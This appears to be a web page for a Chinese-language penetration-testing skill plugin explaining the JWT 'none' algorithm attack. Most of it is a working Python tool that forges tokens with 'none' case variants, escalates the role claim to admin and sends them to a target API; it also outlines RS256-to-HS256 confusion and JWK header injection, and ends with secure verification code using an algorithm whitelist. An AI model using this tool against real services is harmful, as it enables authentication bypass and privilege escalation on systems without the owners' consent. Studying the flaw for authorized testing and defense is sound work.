Performs JWT None algorithm attacks by setting alg header to 'none' variants, bypassing signature verification. Tests against APIs using Python token crafter for pentesting.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
JWT None 算法攻击利用 JSON Web Token 库中的漏洞——这些库接受 `alg` 头部设置为 `none` 的令牌,从而有效地绕过签名验证。当服务器处理带有 `"alg": "none"` 的 JWT 时,它会在不检查任何密码学签名的情况下将该令牌视为有效,使攻击者能够伪造带有任意声明(Claims)的令牌,例如提升权限、冒充用户或延长过期时间。该漏洞于 2015 年由 Tim McLean 首次披露,已影响多种语言的多个 JWT 库。
Executes JWT none algorithm attack to bypass signature verification by setting alg to 'none' in tokens. For authorized penetration testing and API security audits.
Tests JWT 'none' algorithm attack by modifying alg header to bypass signature verification. Guides authorized pen-testing of authentication vulnerabilities in JWT-based APIs.
Evaluates JWT implementations for crypto weaknesses, none algorithm attacks, RS256-to-HS256 confusion, and auth bypasses during authorized web app pentests.
Share bugs, ideas, or general feedback.
JWT None 算法攻击利用 JSON Web Token 库中的漏洞——这些库接受 alg 头部设置为 none 的令牌,从而有效地绕过签名验证。当服务器处理带有 "alg": "none" 的 JWT 时,它会在不检查任何密码学签名的情况下将该令牌视为有效,使攻击者能够伪造带有任意声明(Claims)的令牌,例如提升权限、冒充用户或延长过期时间。该漏洞于 2015 年由 Tim McLean 首次披露,已影响多种语言的多个 JWT 库。
JWT 由三个以点分隔的 Base64URL 编码部分组成:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # 头部(Header)
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # 载荷(Payload)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # 签名(Signature)
使用 Burp Suite 或浏览器开发者工具拦截目标应用的合法 JWT:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
# 解码头部
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# 输出:{'alg': 'HS256', 'typ': 'JWT'}
# 解码载荷
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# 输出:{'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}
#!/usr/bin/env python3
"""JWT None 算法攻击工具
通过将 alg 设置为 'none' 来构造 JWT 令牌,
测试签名验证绕过漏洞。
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
# 'none' 算法值的所有已知变体
NONE_VARIANTS = [
"none", "None", "NONE", "nOnE",
"noNe", "NoNe", "nONE", "nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def craft_none_token(self, modified_payload: dict,
alg_variant: str = "none") -> str:
"""使用 none 算法和修改后的载荷构造 JWT。"""
# 创建使用 none 算法的头部
header = {"alg": alg_variant, "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
# 编码修改后的载荷
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
# 带空签名的令牌(仅有末尾的点)
return f"{header_encoded}.{payload_encoded}."
def test_none_variants(self, endpoint: str = "/api/profile",
headers: Optional[dict] = None) -> list:
"""对目标测试所有 none 算法变体。"""
results = []
base_headers = headers or {}
for variant in self.NONE_VARIANTS:
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
token = self.craft_none_token(modified_payload, variant)
test_headers = dict(base_headers)
test_headers["Authorization"] = f"Bearer {token}"
try:
response = requests.get(
f"{self.target_url}{endpoint}",
headers=test_headers,
timeout=10
)
result = {
"variant": variant,
"status_code": response.status_code,
"accepted": response.status_code == 200,
"response_length": len(response.content),
}
results.append(result)
if response.status_code == 200:
print(f" [VULNERABLE] alg='{variant}' -> {response.status_code}")
else:
print(f" [SAFE] alg='{variant}' -> {response.status_code}")
except requests.exceptions.RequestException as e:
results.append({
"variant": variant, "status_code": 0,
"accepted": False, "error": str(e)
})
return results
算法混淆攻击(RS256 转 HS256):
如果服务器使用 RS256(非对称算法),知道公钥的攻击者可以:
alg 改为 HS256JWK 头部注入(CVE-2018-0114):
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<攻击者控制的密钥>",
"e": "AQAB"
}
}
# 安全的 JWT 验证——始终指定允许的算法
import jwt
def verify_token_secure(token: str, secret_key: str) -> dict:
"""使用显式算法白名单验证 JWT。"""
try:
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256"], # 关键:显式白名单
options={
"require": ["exp", "iat", "sub"], # 必需声明
"verify_exp": True,
"verify_iat": True,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("无效的令牌算法")
except jwt.ExpiredSignatureError:
raise ValueError("令牌已过期")
except jwt.InvalidTokenError:
raise ValueError("无效的令牌")
"alg": "none"(或大小写变体)的 JWT 令牌